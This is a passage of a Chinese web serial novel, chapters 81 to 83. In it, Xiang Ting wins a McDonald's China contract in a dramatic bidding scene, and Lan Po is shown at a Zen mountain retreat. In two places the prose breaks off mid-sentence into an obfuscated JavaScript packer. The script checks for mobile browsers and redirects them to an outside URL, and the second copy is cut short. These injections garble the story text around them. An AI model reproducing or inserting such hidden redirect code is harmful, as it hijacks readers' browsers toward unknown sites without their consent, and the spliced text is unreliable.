“……不方便。” “哦,看样子你和小女友正忙着亲嘴呢,我太打扰了吧?” 项廷还是装死。 “嘴都亲麻了吧?”蓝珀把胳膊一抱表示就此结束,“一点意思都没有,我走了!” “等一下!” “一下是多久?”蓝珀回过头来,独自站在门廊上。 项廷也不知道取出一枚子弹要多久。他逃出鬼门关,只想见到蓝珀,只想赶紧到他面前,哪怕只是看一眼。完全忘记中了弹又正在被追杀。 可项廷这一瞬间又很荒诞天真,他幻想只要取出弹,血不流了,衣服一遮蓝珀就看不出来。 子弹打在大臂后侧,项廷自己看不见,把喷泉的水当镜子照,把钥匙圈上的军刀当镊子用,一点点地刮,叮的一下弹头落地声音被泉水咚咚掩盖。接着深入创道内一顿翻,肉里那些破碎金属粒太多,终于找到了和子弹大小基本一致的一块布片——正是中弹时衣服随子弹被扯下来的。 整片后脖颈和后脑壳都烫得吓人,项廷一心却只有与蓝珀双目对视,不顾一切地去拥他入怀,这会儿让项廷徒手去掰原子弹他都愿意。撕了衣服包扎止血,血还在一点点往外渗,他把头发上撮起来绞了绞,把脸上的水揩掉,满身仍是血汗的项廷,才绝望地意识到这副模样无论如何都解释不清。 他让蓝珀心碎过那么多次,不想再来一次。 蓝珀坐在长椅上,摆一张不阴不阳不冷不热的脸,等得烦了,就继续挖他的坑道:“孩子都有啦。” “你在说什么?” “我说祝你新婚快乐,早生贵子!” “蓝珀,”项廷忽然说。 蓝珀有预感地想叫他住嘴,行了,随便说句话你就发疯,小声点,别人都在看你我。但又很快任由自己像个盲人一样被项廷的话领走了。 “你听好了,这辈子我不会和除了你之外的任何一个人结婚生子,我会老老实实只对你一个人好,一就是一,二就是二,你不信就来挖了我的心。” 蓝珀的电话一直在响,他终于接起来的时候,那忙音就像是一串被扯断的珠子。 一园子里的百花乱放,挤在同一个枝头喧闹,吵得蓝珀无法平静。他栗然地一颤,压在膝上的手更紧了些,目光也僵僵地集中在自己的脚尖上。囫囵地翻出根烟来,却又怎么都找不到火。 然后他突然就有点恼怒,好像被人窥透了隐私,耳朵里满是怦怦的心跳声:“你少在这儿奇思妙想,这是对我的诽谤……你、你、你要这么说,那我还是走吧!后悔我还同情过你,现在听你说出这种话来,我才明白你就是个穷凶极恶的坏人!回来再来收拾你,现在顾不上!” “你别走!”项廷着急地大叫一声,急得他差点要拿头撞墙,“对不起,我又说错话了。” “……奇思妙想才是你的特色吧,不要放弃这个特色。” “我再说一句对不起你的话,再干一件对不起你的事,那我就是一头他妈的畜生。” “就是说啊。智力不足跟猪一样,肥头大耳怪,项廷大鼻涕。” “对不起……” “干嘛总说对不起?” 蓝珀说不上来的怪感觉。项廷素来是一个很无赖,很无解的人,他只会越挫越勇,眼下好像一杯常温没气的可乐。 “我不尊重你。” “好大的词啊。”蓝珀噗的一笑。 “我总害你伤心。” “别自恋了,我这人也是情绪化,就算一个人待着,一会儿笑一会儿哭的。” 他一个人待着的时候,那些日子他在悲伤什么,在思念什么呢?又是以什么样的面貌活在这个世界上?苗疆的圣女,藏地的佛母,仿佛有的人生来就是为毁灭,除了毁灭,没有别的办法,从他来到这个世界起,他的世界就摔成了无数的碎片,余生便是一直在等待一种天罚。 项廷突然自己也没料到地,鼻子一酸:“都是我的错,你打打我,骂骂我吧!” “狗东西,整天嘚了巴瑟,今天这么严肃,我都有点接不住话了。”惊悚的念头从蓝珀心口一闪而过,“你什么时候变得这么……这么……消极?你是知道什么不该知道的了?” “没有!” “那好端端道什么歉?” 又渴望去抱住他,又只想逃,项廷只能说:“我是说我那个你……” “你哪个我?”蓝珀笑着说,“你是处男,我又不亏。” “……” “行了,快出来吧,饿不饿?都饿过劲了吧?我带你去吃饭。”蓝珀说,“人活着再大问题也能解决,就是不吃饭不行,用吃饭问题衡量,这个世界上就没有大问题,吃饱了才能解决人生大事。谁都知道好死不如赖活着呢!吃完饭买几张刮刮乐刮着玩,姐夫给你兑奖,啊。唉,今天的招标会,那我也要说句对不起,我起初也是好心啊,只是没办好事。再说了,你找的都是些什么搭子,就你那几个烂蒜的朋友,还合伙,所以不是李鸿章战败而是清政府无能。” 项廷并不知道他这一辈子还会不会有第二次,突然想和一个人坦诚相见,一点都不想再欺骗他,哪怕是心里最深层的秘密,都想告诉他。现在突然冒出这么一个人来,把一腔的热诚,如炉火般倒灌过来,项廷被热得红了眼眶。 “我没在为招标的事……” “那你为什么弃标?”蓝珀满腹疑惑。 “…因为我是窝囊废。” 蓝珀深深地吸了一口烟,伴随着微弱的咝咝声,道:“你这点失败算得了什么?我刚来美国的时候,很难做,英国资本市场的股票发行人是早已在伦敦证交所上市的成熟企业,一般只采用保险的配股方式。所以问高盛能接受传统的英国式两星期承销风险窗口期吗?只有我说,能。你们能把这一点落实在书面上吗?也只有我说,没问题。我和你一样,为了一举成名,为了一夜暴富,每一分钟都在走钢丝,可银行处境的变化是以秒计算的,睡醒放债的刷个牙就可能贷款,打烊之前还得好几次调拨头寸。我说今年一半的数字都压在我这了我也扛得动,担保就是担保,结果呢?那年,世界上最大的股票发售碰上了世界上最严重的股市下挫。” “那你怎么办?” “不怎么办,”蓝珀一笔带过,“你得靠你自己从地狱里爬出来。有时候失败最能激励一个人踏上涅槃之道。懂了吗?你才十八岁,为什么不能从头再来?小男子汉。哦,忘了!小字要去掉。你是一个我从未想过会遇上的好男人。男人嘛,花过多少冤枉钱决定你有多少气度。” “蓝珀,你等着!我要给你八辈子花不完的钱,让你做全宇宙最幸福的人!” 蓝珀笑了:“我还需要你给 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蓝珀听到了墙角后,那怯懦的声音。 他急忙过去,可到跟前,竟也情怯,他把一只手抵在墙上,试图给项廷传递些安慰似的,嘴上却说:“受不了你这个小玩意儿了,脑子里都是开水,不是开水是泔水!你在水旁边呆着冻截肢了?再不出来,我等会给你饭盆里掺沙子,给你的被窝尿得呱呱湿!” 一贯飞扬浮躁的少年,却再不说话。 蓝珀想到小时候养的小鸡,小鸡一爱闭眼就不好弄了。 蓝珀说:“我知道你心里苦。” 项廷想说,没有你的万分之一苦。可是看到的蓝珀如同一大片浮冰,害怕稍稍一碰他又碎去,他变成不敢去渎的神。话到嘴边,忙说:“没有众生苦。” 好生滑稽的一句话。但在蓝珀听来,竟万状恐怖。想到曾经的自己也早就看破红尘,对浮世不抱任何希望了,才会不加思索说出这样空空如也的话!信以为佛的身边,没有烦恼,回首过去的色恋经历,吐露胸中莲花,大彻大悟的澄明之心,想来今后再也不会污浊。但一听到木鱼咚咚敲响时,他的头就会神经质地跟着微微摇起来,从此这个病根加上洁癖一直伴随他到今天。 好好的小孩怎么痴了?蓝珀大惊失色:“我不许你这么说!” 项廷躲更远了:“你真别过来!” “好,好,我不过去。”蓝珀又何尝不怕项廷被一场失败捶碎了,他的自信降到了冰点,这时候越是追问他越是回避,应该给他自尊,给他空间。 伸出的手又收回了,慢慢往后退时,蓝珀想,过去自己功败垂成,是因为全球市场的暴跌确实是不能预测、无法控制和无法投保的事件,但麦当劳难道属于不可抗力吗? 蓝珀怒不可遏:“瓦克恩,我要让他破产!” 花海中有若隐若现的小木屋和秋千架,蓝珀退得远远的。直到进了一间手工磨制的栗木蛋形半墙里,表示他把自己关起来了,不会伤害你。看着像藤编笼,他在里面像一只珍珠鸟,说:“快出来吧,姐夫都变成蝈蝈了。” 饴糖色的春阳,把地面照得光暗斑驳,这里几乎就成为一个与大地相连的孤岛。蓝珀明明有很多话想说,又不知道时机是否合适,捋着袖子,仿佛待字的少女运针缝线似的。有几次他听到声音以为他来了,就用力把头甩向反方向。一想事就爱揪花的毛病总也改不掉。有一阵奇怪而强烈的遗弃感,但希望自己就只是因为累。这天他又没有等到那个男孩。 81. 不惜珍珠成斗量 白谟玺于会议室静坐半小时,瓦克恩连茶水都没叫人给他上。一方面烦他不请自来,另一方面是知道白谟玺大众情人,男女通吃,有着良好的收藏体系。而瓦克恩向来最鄙夷同性恋,总觉得同性恋导致了生育率下降,长此以往出现严重的劳动力供给危机,妨碍了资本主义的剥削,故在他这儿就永无去罪化的可能。当老婆说缴了儿子的一屋毛片,清教徒专偶制家庭的信仰被彻底摧垮,瓦克恩还摆手说性解放,美国派,直到老婆念出甄选的一部片名,林中嫩男的大粗鸡。叫来凯林长谈,论男子气概本身。凯林自然不敢袒露半分对蓝珀的苟且之心,但说大家都是生活在地球的无毛猴,谁又比谁高贵些?爸爸,你没爱上男人那是你没觉醒。你爱上他(蓝)时你在他面前,你就会变成一个不敢逾矩的小士兵。 想到这,愈觉白谟玺面目可憎,瓦克恩正要开口送客,蓝珀回来了。 蓝珀像是自言自语道:“我刚才去实地考察了,北京的故宫里面确实有这么一家店,现在怎么办?” 瓦克恩感觉他行迹疯迷,不想深究,但是想起60美元的每股单价,决定再忍一忍,来都来了。就顺着他聊这个天:“关门大吉,不要想其他的。” “那可不行,如果他想不开,这个责任你来负?”蓝珀把腿架起来,打了个呵欠,然后哀怨地望了望两人,“谟玺,你替我去劝劝他。” “我?”白谟玺好笑道。 他赖在这可不是白赖的,很郑重地介绍道:“也许总裁先生还不知道,项廷可是蓝的妻弟,理应多多关照他才对。如果真有什么误会,最好放下身段,真心诚意地道个歉。” 瓦克恩慢待他,白谟玺肯定察觉到了。瓦克恩跟同性恋共处一室,真的会莫名其妙地皱眉加撇嘴,完全没有刻意,但是白谟玺只要一讲话瓦克恩就是这样了。 蓝珀:“你去不去?” 白谟玺:“凭什么我?” “因为我心里你淡了,”蓝珀停了一下,不加掩饰地流露出那副平日里的忧郁美态,“心伤久了就淡了。” 白谟玺见状:“是我错了。” “你错了。我鄙视你,犯不着生你的气。”蓝珀并摸了一下对方的领带结,“但我可没那么容易解脱出来,都像你这么没心没肺,世上的事就好办了。” 一会儿蓝珀掌控一切,不一会儿蓝珀又沉默不语。白谟玺有话吐又不敢吐只能疑惑地嚼两口空气,等着受到攻击。但是蓝珀嘴巴突然间抿紧了,没有预想中的对他又踢又叫。 蓝珀接着说:“是舍不得走吗?我见你们俩谈得那么热乎。” 白谟玺何尝不恶心瓦克恩呢,妨碍了他和蓝珀二人世界。亦不屑同处在一个空间里,撤的时候差点忘了拿桌上的车钥匙:“项廷在哪?” “不晓得,”蓝珀微微发着呆似的,“回山洞了,山顶洞人。” 人支走了,门关上了。 瓦克恩忙给自己打一剂预防针,抢答:“好了,等你牢骚发完了,我再跟你说话。” 蓝珀却没有说一句话,只是仿佛飘着入画了般,坐到了瓦克恩的办公桌上。他掏出一支香烟,拔下打火机上的小盖子,点着了烟,又把打火机扔回到桌上。哒的一声,瓦克恩像听到手榴弹轻爆。 蓝珀即使脸无表情亦似在微笑,瓦克恩却觉得蓝珀笑眯眯地要炸他祖坟,立刻感到一阵巨大的压力落在他的脊骨上,继而一直向下压到他坐在椅子上的屁股。与此同时,一个轻盈的声音飘进瓦克恩的右耳根:“价格,高高地给我一口。” 蓝珀的头微微后仰,轻蔑而好奇地俯视着他说:“120美元,你还能加价吗?不能就这么定了,能的话我也照单全收。” 瓦克恩心下大骇,直觉告诉他非福是祸,蓝珀是下定决心狠狠报这一箭之仇来的。须知金融行业最大的特点就是三人成虎,高盛、摩根大通、美林三家要是一起建议逢高卖出,那就算信的人只有5%,也足以让所有的债权人都提前向麦当劳宣布到期了。蓝珀去年就这么把一家大行挤兑垮掉,可想而知这一记闷棍敲得有多疼。被他盯上了的公司,比一杯热可可凉的速度还要快。 瓦克恩心态爆炸:“你一会变了几次主意了?最开始是你百般刁难他投标,现在又是你为了让他中标使出这种狠招?” “很奇怪吗?我莫非看起来很像个好人?” 瓦克恩吐口烟,缓了缓:“我没这么说。” “那我坏的方法可多了去了,无意义地折腾整人只是最轻的。” 瓦克恩也是实在没词了:“你的折腾对我来说无甚所谓,但你稍微能不能考虑一下事主的感受?项廷既不是你的玩具,更不是你的宠物!” “我也没这么说。” “那就算你把他当男人,说到底,男人经历点风雨是人生常态,一个男人吃点苦怎么了?吃点苦头,挫点锐气。你们中国的农民丰年三天饿九顿,灾年就得卖儿卖女,老天尚且饿不死瞎眼的雀!” 蓝珀猛地抬起眼睛,把掉在眼前的一缕头发都甩开了,眼神顿时是狠狠掷来的匕首:“一条小狗你让他吃什么苦!” 瓦克恩站起来走到窗边,眺望笑到无声,硬生生跟空气打了十分钟架。 终于他走回桌子边,朝蓝珀微微一躬,想俯下身去说点什么。可蓝珀根本没朝他的方向看,正把那薄薄的唇抿到嘴里,颇像涂完口红之后的动作。 “我会 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蓝珀笑道:“刚刚还一副革命圣人的样子呢,200美元你都不愿正眼瞧。” “不不不,我只是说说而已。我只想让你知道我不怕你。”瓦克恩怕他反悔退出的事,赶忙说,“要不你先回去吧,费曼说你这几天没睡好觉。” 蓝珀叹一下:“我也是没用,熬一会眼睛就红了。” 瓦克恩想温和地把他赶下桌子来,但最后只是拂开了蓝珀腿旁边的镇纸:“要开标了,一切马上都各就各位。” 有人敲门,瓦克恩去应。 开门竟又是白谟玺:“总裁先生,我给你带来了一个非常……非常糟糕的消息。” “什么?” “你得先答应我,你得挺住了。” “笑话!我有什么挺不住的?” “你可一定要站住了啊!” “我坐着呢。” 瓦克恩一生从未信过谁的嘴巴里能说出比蓝珀更闹心的话,白谟玺今时今日的这一句除外。 “您家的公子,把王子打了。” 十分钟后,煲煲好众人在酒店的停车场发现了正要逃逸的项廷。 问他去哪里,项廷说回中国,败局已然,国内抄家的兄弟要蹲监狱了,他回去顶罪。 珊珊哭得好大声,想是永别了。 秦凤英劝道,你进可攻退可守,别犯傻啊。 嘉宝倒没留他,但是说,你的姐夫为了你,正在被潜规则。 她说,公开的地方进行秘密的勾当特别刺激,也没人会傻到去管一对露水鸳鸯的打情骂俏。你的姐夫现在就坐在总裁的大腿上。你会看到你想看的。 82. 天机现于随机处 听说费曼提前离场,瓦克恩大舒一口气;听说费曼为什么离场,瓦克恩一口气上不来了。 蓝珀拿钢笔戳了戳他:“你手怎么冰冰凉?” 电话响了,蓝珀看了一眼。 瓦克恩:“是医院吗?是警局吗?” 蓝珀:“是大使馆。” 瓦克恩又是站在窗边,头发被大风吹得格外蓬,未来感很强。身体也差不多风干,结块。 白谟玺微笑浮现嘴角,欢乐直击心田,回味久不停歇。他把身体站直,从上到下拂了拂衣服,走到门厅照着镜子正了正领巾,一边称赏不已:令公子真乃伏击偷袭的高手,此拳诸神拜跪,上帝来了都得喊一声阿弥陀佛。英王子面部朝下摔倒,鼻梁骨当场位移,哭得直打嗝。医生之言,治好了也是流哈喇子,嘴边满是白沫,随时都在滴,只是多与少的区别,大冬天也一样。护士给他导尿的时候,他根本没注意有人进来,继续吧嗒吧嗒地吮他的大拇指。 蓝珀说:“干吗挖苦人呢?人的骨头没有那么脆吧?” 白谟玺抻了抻下巴,又摸了摸领巾的扣环:“哦,那他假摔了?” 蓝珀似乎惊出绵绵香汗,用手扇了扇风:“你别说了,在这种情况下最讨厌话多的人了。” 瓦克恩:“怎会如此?” 起因白谟玺早说过了,瓦克恩头脑空白地又跟着问了一遍。这白谟玺是真的不知道,好像是风和日丽的上午,凯林像个外星生物般袭击了正下丹墀的费曼。猜测是为了王子腰上挂的拿破仑时代的宫廷佩剑。 蓝珀解读:“看你不爽,怎么都能结怨,半大男孩子是这样的,斗来斗去就像乌眼鸡,只能骟了。” 瓦克恩拽蓝珀一道去医院。 蓝珀说话慢慢的,听着可困了:“又不是我儿子打的,我为什么去?” 白谟玺比比谁更阴阳怪气:“我看大家彼此相处得很好,还分什么嫌隙?” 蓝珀又说:“可总不能好事你全占大头,一有坏事大家来分担吧。” 还说:“我不,我要回家了,我要在我的房间里睡到天荒地老。” 以及:“凯林就是拿枪投向暴君的勇士啊,这就叫每个骑士一辈子都要屠一只龙。” 中途白谟玺插嘴说谁家还没有几个问题少年呢?疑似内涵项廷。蓝珀忿然作色:项廷的行动生猛,项廷的言谈不雅,但项廷的心地干净!白谟玺忙解释,不是说他笨,是说他不喜欢用脑子来解决问题。蓝珀却说项廷天生大头,一睇就系聪明仔。 把泵装嘴上了似的,蓝珀唉唉呦呦了一阵,最后还是被瓦克恩绑架了,胳膊都被他捏得发紫。 到了停车场,蓝珀却被嘉宝拦下。 讲的话让人措手不及:“蓝先生,你说谁上台就给谁100万,这话现在还算数吗?” 蓝珀眼生她:“我要的是那个小丫头,你哪位?” “我是项总团队的一员。” 蓝珀一听就乐了,说的好像项廷多牛似的,他手底下有多少部将?连着看嘉宝都有了几分风情可爱,于是笑道:“对,这话是我说的。” “那我能不能参加?” “你们项总讲了鸡之道,怎么,你也要来个鸡之道?” “呃我不懂鸡之道,”嘉宝说,“但我是鸡。” 蓝珀想笑但及时止住了,感觉这会儿笑有点轻薄了她,便说:“没什么问题,欢迎参加。” “那你不留下来听听吗?你的钱丢出去不能没个响吧?” “我有点急事。”蓝珀看着前面瓦克恩的车没影了,把表链拽出来看了看表,“沙曼莎会打到你的账上。” “她不会的,高中那会儿她就嫉妒我嫉妒到发狂。” 蓝珀没空打听她们少女时代的事:“我让专员找你。” “一百万美金,我要现金。”嘉宝不大相信,“你真能给吗?” 蓝珀长得骨肉皮明晰,表情有点淡然,应该是那种得理不饶人的厉害角色,却说:“项廷的心情不太好,有些话我不方便说,你帮我去安慰安慰就可以。这一百万就当作我给他买了一个能陪着他解解闷的朋友,我唯一的要求是不要透露买主,好吗?” 十五分钟后,负责讲台的工作人员准备收拾东西下班时,又来了一个演讲者。 会场就像闹闹哄哄的骡马市场,都忙着捧刘华龙臭脚,谁还关心谁上台了? 嘉宝握住了话筒,却说:“非常感谢,太热情了。” 全场只有沙曼莎惊得一叫:“你上台是要干什么?真当自己是主角吗?” 二人原是好闺蜜,当初沙曼莎只配给嘉宝拎购物袋,可后来嘉宝家族深陷庞氏骗局,闹出相当大的丑闻,父亲锒铛入狱。昔日千金一夜跌落谷底,沃顿毕业找工作却碰了一鼻子灰,谁都不愿沾她爸的麻烦。一开始去给中东人做礼仪教师,可沙曼莎说她手脚不干净,工作头天就丢了;当收银员当服务生,沙曼莎总有办法揪她出来。很快只能沦落到地下产业去,打三份工拼命还一大家子的债。 “鸡就不能当主角吗?”嘉宝穿着廉价而风尘的衣服,非常平静地反问道。 沙曼莎本来是一定要给她难堪的,被嘉宝自己抢了台词,沙曼莎只能说:“你也太把自己当回事了吧?你在炫耀当鸡的风光吗?” “我没想讨论我自己是只鸡,”嘉宝环视众人,“我想说的是,这世界就是个巨大的妓院。” 大家都停下来,看看谁在大放厥词。嘉宝说脱口秀的样子,仿佛要拉着手风琴唱起来了。 “某个参议员说着不存非分之想不收无义之财,私下却七拐八拐地弄不出一笔合法的收入。他的政治手腕确实很强,但谈不上什么道德。道德能帮自己获得选票时,就绑定道德;不能时,就不认识道德。” “某个总裁很自豪地宣传自己是一个收养了十多个残疾孤儿的好爸爸,却让九岁的女孩戴上铁制腿套,而不是轻的塑料腿套,因为轻腿套只能戴在裤子里面,不会被摄影师拍到,而这位总裁巴不得他的慈善事业得到全国性的扩散。还把女孩的伤腿倒吊起来,警告她如果不能学会英语,在媒体面前一字不漏地背出危机公关的稿件,就把她送进精神病院。” “至于某个投资银行家……鉴于他的慷慨,我就不具体诋毁他了。他的慈悲总之也正负难评。” “我只是想说每个人都要干些见不得人的事,出卖着不同的东西,行尸走肉地生活着。毕竟钱能让人不知羞,没钱让你不知耻。如果说只有做鸡才是不知羞耻,所以要被喊打喊杀。那么把成千上万只鸡、工人、劳动者敲骨吸髓的人,那些所谓的亡命天涯的不法徒,深受血头剥削的卖命者,贵族犯案后的替罪羊,靠着他们的血汗撑起高高在上的人格的雅典公民,又凭什么高居庙堂,光天化日?” 沙曼莎叫人把她拖下来:“马上就能看见谁过得更惨,所有人都会冲你笑话不停!” 嘉宝说:“再宽限我两天吧,我还没有挣够把自己从窑子里赎出来的钱。” 安保也为难地表示,这事蓝珀打过招呼,而且瓦克恩也走了,山中无老虎。 “每个人的人生也就是这样,一出生就被金钱给捆绑了。但有没有不用钱就能赎出来的?”嘉宝的声音低下来,“我想是有的,那就是中文里说的侠义的本义,这副万里挑一的善良心肠,竟是万金不易的宝贵。家父用他失败的一生告诉我一个道理,九曲黄河,淘泥洗沙,商场上真正的高手都无一不是义字当头,笨功夫才是真捷径。” 什么神神道道的东西?这是在念什么咒?和项廷一个传销工厂出来的吗? 沙曼莎正要亲自捉拿,蓝珀却忽然出现在身后。 蓝珀没去医院。因为嘉宝说,她会还他一个生龙活虎的项廷,请蓝珀亲自验收。 此时会场的闸口大开,大批媒体如潮水般涌入。 沙曼莎发出尖锐的高音:“你还不去开标?” 《今日美国》、《华尔街日报》、《纽约时报》、《洛杉矶时报》四大头部媒体记者立刻拥了过来,BBC、NBC、CBS、FOX、CNN、UPN同步直播当中,万千镜头中的蓝珀微微一笑:“谁告诉你我就是开标人了?” 于此同时项廷终于找了回来。听嘉宝打小报告后,他只有两个想法,其一要不是没勇气跟蓝珀把一切说开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398269|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后事的发展何至于这么脱轨?这关头回了国岂不更是缘悭一面,想不通自己前面在墙角那儿酷什么酷呢?其二,瓦克恩的颈椎比火柴棍也粗不了多少!可找遍了所有的会议室,哪里发现了所谓的潜规则现场? 眼下蓝珀恍如洛水上的神妃,惊鸿瞥过游龙去,项廷的心怦怦跳得很重,不过很慢。蓝珀的气质经常特别地空灵,总觉得他会乘风归去,这一刻项廷只想和他在一起,有很多滚烫的话想跟他说,又哪畏人诛物议? 项廷向他走去,心里万缘俱净。 白光一次又一次地爆闪,快门声铺天盖地。项廷仿佛不闻。直到刘华龙突然狂暴扑了上来,可苍蝇咬一口当然不能羁留一匹英勇的奔马。 越来越多的人拦住了路,周遭被堵得水泄不通的时候,他这才听到会场早已充斥了他的名字,轰雷贯耳。 “项廷!”刘华龙从地面反复暴起,“你不得好死!” “项廷,”蓝珀与他在人群的两端遥遥对视,“说说获奖感言吧。” “项·廷,”台上一个尤为稚嫩的声音说,“各位专家、各位来宾、全美社会各界人士,请允许我向大家介绍,麦当劳中国区总裁——项·廷!” 项廷朝台上看去,那分明是一个十岁左右的黑人小女孩。 瓦克恩说今天有一位特别开标嘉宾时候,他的目光当时投在了蓝珀身上,所有人都先入为主了。 连蓝珀都没往那方面想,真正的开标人竟是瓦克恩的养女,项廷来到美国第一天从绑匪手中救下的,翠贝卡! 刹那之间,一切错过的细节悉数在项廷的脑海里严丝合缝地拼合了起来—— 重逢翠贝卡的那个雨夜,她信誓旦旦地说,自己一定会报答他; 机场的麦当劳里,她用烫伤骗取免费咖啡,不是底层人民的生活智慧,只是财团小姐的正常操作; 还有,蓝珀提起过好多次,瓦克恩的爱好是收养少数族裔小孩,在各大场合狂热维护黑人利益,鼓励项廷通体烤黑就能成为瓦克恩家族的法定成员; 以及,貌似凯林的生日派对但凯林被拒之门外,原因那是翠贝卡的生日,瓦克恩大事铺张本意缓解最近的黑人风波,没想到翠贝卡离家出走,生日会乱作一团…… 原来一切的一切,不是不报,时候未到。 轰的一声,头顶响起了一天一地的礼花炮。追光灯下发光的年纪发光的少年,他站在那就仿佛孤身一人置换了星空。 刘华龙惨白抱柱:“组委会!组委会!我要举报!我要举报啊!” 委员会内部何止一个大乱了得,这到底是什么情况?是瓦总变了心意、放漏了?瓦总走得太急,什么都没交代,又联系不上啊,大写的服!群龙无首,谁人主持大局? 现场的质疑声越来越大,群众大闹意见,委员会只能紧急给翠贝卡的麦克风关了。 可下一秒她竟脱掉外套,露出了里面的一件大红背心。 正面XIANG,反面TING,一江中国红遍染美利坚,正是嘉宝七天七夜加急赶制的这一件! 战袍一亮,无数媒体拍下了这世纪之交历史性的一幕,即使被噤了声,亦已成定局! 知他势不可挡不得不顺势而为,委员会不得已给翠贝卡重新开了麦。 于是更劲爆的来了:“除了一整个中国的商业版图,我还要以自己的名义送给项廷南非博茨瓦纳的三座钻石矿,德班的七个泊位与十平方公里的港口!” 项廷还忽略了一个重大细节——翠贝卡总是斜插一根鸵鸟毛,正因她现瓦总之女,前酋长之女。 刘华龙拔麦克风电线差点被电死,乌呼一声哀栽在地,再想攀咬项廷却拽倒伯尼,二人并排躺板,珊珊喜极而泣,秦凤英大叫救护车。白希利慕项廷大帝之姿而忘立场,试着跟舞曲哼唱一下又哭又笑,发出了水牛的叫声。唯独项廷自己不知喜悲似的,但显然已以一种不可否认的姿态培养了一大批向他匍伏的信众,众人把他抬起来抛高庆祝,宛若坐上了碧空里升起一座金云筑的殿堂。项廷却只顾着在震天的喧嚣中寻找蓝珀的影子。蓝珀是何时像红尘里的一粒沙那样消失了的呢? 83. 卿若空游无所依 这一场招标会的故事,沙曼莎从春讲到了秋。 她每回见到蓝珀都要抱怨几句,你说,你当初公报私仇怎么不来个痛快点的,把那帮泥腿子破落户直接整到死?为什么要让项廷真成了什么草莽头子,跟在他屁股后边的鸡犬通通升天?说她上个礼拜鼓起勇气去参加了含有嘉宝的派对,嘉宝一双平底玛丽珍鞋,就把全场上流男士的心踩碎。 每逢这时候,蓝珀总是笑而不语,顶多辩一句,人生经常会有一些特别的因缘,幸运之神挺眷顾他的,然后便由着她说。沙曼莎当着他友人的面还发牢骚时,蓝珀也不制止,何崇玉听了遭受到毁天灭地的冲击,击节称叹:这真是一段足以编入钢琴叙事曲里的史诗传奇啊!项廷这孩子,平常看起来挺乖骨子里居然这么有想法!蓝珀说这叫平静如水的野心,最为致命。沙曼莎说他简直是抢劫犯,蓝珀马上道原始积累都带血,项廷在如何文明地抢劫这个赛道上略有小成,如今的风光他早该有了。何崇玉表示他一定要著曲立传,历史上很多文明的野心家,如果能一直被记住就好了。蓝珀嗔道,你无端端的拔得有点太高了,但是每次试听会他必到。听那晦暗、深沉的乐思开始,孕育着英雄主义的萌芽,一直走向明亮、灿烂的终曲,出了何崇玉的琴房,蓝珀还在戏里没走出来。 十二月中旬的一天,何崇玉盛情留他吃了晚饭。 他把椅子拉到蓝珀的椅子前面,目不转睛地盯着蓝珀说:“我最后再问你一遍,你真打算圣诞节一个人过吗?” “那又怎样?”蓝珀胳膊上抱着样东西,乍看像是只大猫——那是块大木鱼。 何崇玉挪动了好几下坐的位置,才犹犹豫豫地开口:“你在山上都干吗了?” 蓝珀也朝他看了一会儿,然后就把目光转开抱起了胳膊:“也没干吗。” 蓝珀因为非常怕热,每年夏天都会逃离纽约,今年他的避暑山庄选在了加州内华达山脉的禅修中心。他就这么住到上山去了。 何崇玉一方面担心蓝珀越来越出尘,怕蓝珀太独了,一方面他做了很多不致家庭离散的努力全都白费,想来自己也是需要渡的。所以第三个儿子出生当天,何崇玉在产房外电联蓝珀,这个家你能不能带我出? 蓝珀听说火冒三丈地训了他一顿,说你凭什么去参加,那些去参加这个禅七的人都是为了寺院辛辛苦苦奉献了好久的,在那儿做了很久的义工或是捐了很多钱,要不然就是已经参禅了二三十年的老参。你算老几,就因为你是香港首富的嫡长子,就可以大摇大摆地混进去?就算住持给你这个面子,你自己不觉得害臊吗? 何崇玉听了当然很不舒服,但想想还是挺有道理的,就问:“那怎么办呢?”蓝珀说:“你去帮忙啊,看寺院里有多少事情要做。”何崇玉再请教:“有什么事情?”蓝珀说:“你又不是瞎子,自己不会去看吗?” 儿子的名字还没取,何崇玉就大包小包地上山去长住,一看,哎呀还得了,哪里是什么禅宗祖庭,名刹古寺?那个地方最多只能挤得下十多人,哪能满足八十一天上百人的食宿?所以需要建设大量的寮房,还要修建厕所、水塔、水管,又要重建山门,题诗立碑,在这荒郊野地,没钱请工人,全都是学员免费劳动。蓝珀接受却很良好,他说他是来当护法的,也就是护持佛法的义工,为什么小白龙最后封了广力菩萨,正是因为白马驮经啊。 山上没法用大机器,大家只能用扁担扛一袋一袋的沙子和石头,何崇玉基本上还可以扛得动,但扛的还是比蓝珀少,常常累得像一只吐白泡的死蟹。某晚做工到三四点,山里一入夜就云缭雾绕,还飘着细雨。蓝珀用电线接了灯泡,照明效果就几乎没有,但人人说此乃满月似的金色佛光。师姐们做了一锅汤,每人领个缺口的碗,席地坐在石头上、树边,坟冢旁,几十个人安安静静地淋着雨摸瞎吃饭。何崇玉不小心碰倒了一个杯子,几十对目光霎时都高射炮一样地投了过来,接着突然几十口人的嘴巴一起响起而且都大笑起来。蓝珀临睡前同他解释,如果碗筷碰出响声,那说明心不清楚;心清楚的话,就不会嘁里喀嚓响,除非你故意去敲它。 经此一遭,神三鬼四的把何崇玉吓得不轻,他愈发不信蓝珀所说,住进这么一个有鹿、有狼、有熊的森林里,每天满身大汗在那么一个破破烂烂的环境里,心里的快乐却是从来没得到过的。全身经络好像都是通的一样,在那状态中真的很美很舒服,如如不动、了了分明,几乎随时随地都在平静喜乐中,那真是无处不美,看到任何一个人都觉得很和善、很慈悲,等等话。 何崇玉是一个在逃避生活的本领上与蓝珀不相上下的人,经常不敢面对现实就把自责投射到他人的身上。于是又像劝人,又像自剖地说:“你这就像是用石头压草,念经把它们给压住了,其实草都在。你以为呼呼火就降下去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 